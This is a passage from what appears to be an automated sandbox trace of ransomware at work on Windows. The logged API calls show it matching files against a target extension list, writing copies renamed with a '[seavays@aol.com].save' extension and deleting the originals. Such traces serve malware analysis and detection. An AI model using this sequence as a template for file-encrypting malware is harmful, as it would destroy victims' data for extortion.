lpString2=".log") returned -1 [0050.400] lstrlenW (lpString=".docx") returned 5 [0050.400] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0050.400] lstrlenW (lpString=".pdf") returned 4 [0050.400] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.400] lstrlenW (lpString=".xls") returned 4 [0050.400] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.400] lstrlenW (lpString=".xlsx") returned 5 [0050.400] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0050.400] lstrlenW (lpString=".ppt") returned 4 [0050.400] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.400] lstrlenW (lpString=".zip") returned 4 [0050.400] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.400] lstrlenW (lpString=".rar") returned 4 [0050.400] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.400] lstrlenW (lpString=".bz2") returned 4 [0050.400] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.400] lstrlenW (lpString=".7z") returned 3 [0050.400] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.400] lstrlenW (lpString=".dbf") returned 4 [0050.400] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.400] lstrlenW (lpString=".1cd") returned 4 [0050.400] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.400] lstrlenW (lpString=".jpg") returned 4 [0050.400] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.400] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.401] lstrlenW (lpString=".doc") returned 4 [0050.401] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.401] lstrlenW (lpString=".docx") returned 5 [0050.401] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0050.401] lstrlenW (lpString=".pdf") returned 4 [0050.401] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.401] lstrlenW (lpString=".xls") returned 4 [0050.401] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.401] lstrlenW (lpString=".xlsx") returned 5 [0050.401] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0050.401] lstrlenW (lpString=".ppt") returned 4 [0050.401] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.401] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.401] lstrlenW (lpString=".zip") returned 4 [0050.401] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.401] lstrlenW (lpString=".rar") returned 4 [0050.401] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.401] lstrlenW (lpString=".bz2") returned 4 [0050.401] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.401] lstrlenW (lpString=".7z") returned 3 [0050.401] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.401] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.401] lstrlenW (lpString=".dbf") returned 4 [0050.401] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.401] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.401] lstrlenW (lpString=".1cd") returned 4 [0050.401] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.401] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.401] lstrlenW (lpString=".jpg") returned 4 [0050.401] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.402] lstrcmpiW (lpString1=".log", lpString2=".save") returned -1 [0050.402] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0050.402] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.403] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6004) returned 1 [0050.403] CloseHandle (hObject=0x2ec) returned 1 [0050.403] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0050.403] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.403] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.403] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.403] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.403] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.403] GetLastError () returned 0x0 [0050.403] ReadFile (in: hFile=0x2ec, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1774, lpOverlapped=0x0) returned 1 [0050.405] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1780, lpOverlapped=0x0) returned 1 [0050.406] ReadFile (in: hFile=0x2ec, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.406] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x114, lpOverlapped=0x0) returned 1 [0050.406] SetEndOfFile (hFile=0x2f0) returned 1 [0050.406] CloseHandle (hObject=0x2f0) returned 1 [0050.407] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.407] SetEndOfFile (hFile=0x2ec) returned 1 [0050.408] CloseHandle (hObject=0x2ec) returned 1 [0050.408] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.409] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0050.409] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.409] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.409] lstrlenW (lpString=".doc") returned 4 [0050.409] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.409] lstrlenW (lpString=".docx") returned 5 [0050.409] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0050.409] lstrlenW (lpString=".pdf") returned 4 [0050.409] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.409] lstrlenW (lpString=".xls") returned 4 [0050.409] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.409] lstrlenW (lpString=".xlsx") returned 5 [0050.409] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0050.409] lstrlenW (lpString=".ppt") returned 4 [0050.409] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.409] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.409] lstrlenW (lpString=".zip") returned 4 [0050.409] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.409] lstrlenW (lpString=".rar") returned 4 [0050.409] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.409] lstrlenW (lpString=".bz2") returned 4 [0050.409] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.409] lstrlenW (lpString=".7z") returned 3 [0050.409] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString=".dbf") returned 4 [0050.410] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString=".1cd") returned 4 [0050.410] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString=".jpg") returned 4 [0050.410] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString=".doc") returned 4 [0050.410] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.410] lstrlenW (lpString=".docx") returned 5 [0050.410] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0050.410] lstrlenW (lpString=".pdf") returned 4 [0050.410] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0050.410] lstrlenW (lpString=".xls") returned 4 [0050.410] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0050.410] lstrlenW (lpString=".xlsx") returned 5 [0050.410] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0050.410] lstrlenW (lpString=".ppt") returned 4 [0050.410] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0050.410] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.410] lstrlenW (lpString=".zip") returned 4 [0050.410] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0050.410] lstrlenW (lpString=".rar") returned 4 [0050.410] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0050.410] lstrlenW (lpString=".bz2") returned 4 [0050.410] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.410] lstrlenW (lpString=".7z") returned 3 [0050.410] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.411] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.411] lstrlenW (lpString=".dbf") returned 4 [0050.411] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.411] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.411] lstrlenW (lpString=".1cd") returned 4 [0050.411] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.411] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0050.411] lstrlenW (lpString=".jpg") returned 4 [0050.411] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.748] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0050.748] lstrlenW (lpString="eula.rtf") returned 8 [0050.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.248] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7567) returned 1 [0051.248] CloseHandle (hObject=0x304) returned 1 [0051.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0051.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.248] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.248] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.251] GetLastError () returned 0x0 [0051.251] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0051.253] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0051.254] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.254] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0051.254] SetEndOfFile (hFile=0x308) returned 1 [0051.254] CloseHandle (hObject=0x308) returned 1 [0051.255] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.255] SetEndOfFile (hFile=0x304) returned 1 [0051.256] CloseHandle (hObject=0x304) returned 1 [0051.256] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString=".doc") returned 4 [0051.257] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString=".docx") returned 5 [0051.257] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.257] lstrlenW (lpString=".pdf") returned 4 [0051.257] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString=".xls") returned 4 [0051.257] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.257] lstrlenW (lpString=".xlsx") returned 5 [0051.257] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.257] lstrlenW (lpString=".ppt") returned 4 [0051.257] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString=".zip") returned 4 [0051.257] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.257] lstrlenW (lpString=".rar") returned 4 [0051.257] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString=".bz2") returned 4 [0051.257] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString=".7z") returned 3 [0051.257] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString=".dbf") returned 4 [0051.257] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString=".1cd") returned 4 [0051.257] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.257] lstrlenW (lpString=".jpg") returned 4 [0051.257] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString=".doc") returned 4 [0051.258] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString=".docx") returned 5 [0051.258] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.258] lstrlenW (lpString=".pdf") returned 4 [0051.258] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString=".xls") returned 4 [0051.258] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.258] lstrlenW (lpString=".xlsx") returned 5 [0051.258] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.258] lstrlenW (lpString=".ppt") returned 4 [0051.258] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString=".zip") returned 4 [0051.258] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.258] lstrlenW (lpString=".rar") returned 4 [0051.258] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString=".bz2") returned 4 [0051.258] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString=".7z") returned 3 [0051.258] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString=".dbf") returned 4 [0051.258] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString=".1cd") returned 4 [0051.258] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0051.258] lstrlenW (lpString=".jpg") returned 4 [0051.258] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.259] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.259] lstrlenW (lpString="eula.rtf") returned 8 [0051.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.259] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3314) returned 1 [0051.259] CloseHandle (hObject=0x304) returned 1 [0051.259] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0051.259] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.259] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.259] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.259] GetLastError () returned 0x0 [0051.260] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xcf2, lpOverlapped=0x0) returned 1 [0051.261] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xd00, lpOverlapped=0x0) returned 1 [0051.262] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.262] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0051.262] SetEndOfFile (hFile=0x308) returned 1 [0051.262] CloseHandle (hObject=0x308) returned 1 [0051.263] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.263] SetEndOfFile (hFile=0x304) returned 1 [0051.263] CloseHandle (hObject=0x304) returned 1 [0051.264] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.264] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0051.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.264] lstrlenW (lpString=".doc") returned 4 [0051.264] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.264] lstrlenW (lpString=".docx") returned 5 [0051.264] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.264] lstrlenW (lpString=".pdf") returned 4 [0051.264] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.264] lstrlenW (lpString=".xls") returned 4 [0051.264] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.264] lstrlenW (lpString=".xlsx") returned 5 [0051.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.264] lstrlenW (lpString=".ppt") returned 4 [0051.264] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.264] lstrlenW (lpString=".zip") returned 4 [0051.264] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.264] lstrlenW (lpString=".rar") returned 4 [0051.265] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString=".bz2") returned 4 [0051.265] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString=".7z") returned 3 [0051.265] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString=".dbf") returned 4 [0051.265] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString=".1cd") returned 4 [0051.265] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString=".jpg") returned 4 [0051.265] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString=".doc") returned 4 [0051.265] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString=".docx") returned 5 [0051.265] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0051.265] lstrlenW (lpString=".pdf") returned 4 [0051.265] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString=".xls") returned 4 [0051.265] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0051.265] lstrlenW (lpString=".xlsx") returned 5 [0051.265] lstrcmpiW 